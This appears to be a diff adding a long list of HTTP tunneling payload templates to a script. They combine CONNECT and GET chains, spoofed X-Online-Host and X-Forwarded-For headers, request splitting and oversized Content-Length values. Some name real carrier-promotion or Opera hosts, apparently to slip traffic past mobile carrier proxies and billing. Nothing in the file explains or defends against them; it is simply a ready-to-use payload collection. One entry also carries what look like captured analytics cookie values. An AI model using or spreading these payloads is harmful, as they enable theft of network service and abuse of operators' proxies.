+echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf]
+[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf]
+[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf]
+[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999\r\n\r\n
+GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf]
+[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf]
+[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+[raw]split]GET mhost/ HTTP/1.1[crlf][crlf]
+GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf]
+GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]
+CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf]
+GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf]
+CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1\rHost: mhost\r[crlf]X-Online-Host: mhost\r[crlf]X-Forward-Host: mhost\rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf]
+[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf]
+GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf]
+GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf]
+[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf]
+[raw] HTTP/1.0\r\n\r\nGET http://mhost/ HTTP/1.1\r\nHost: mhost\r\nConnection: Keep-Alive\r\nCONNECT mhost\r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf]
+GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1\r\nHost: mhost\r\n\r\n[netData]\r\n\r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
+GET http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n
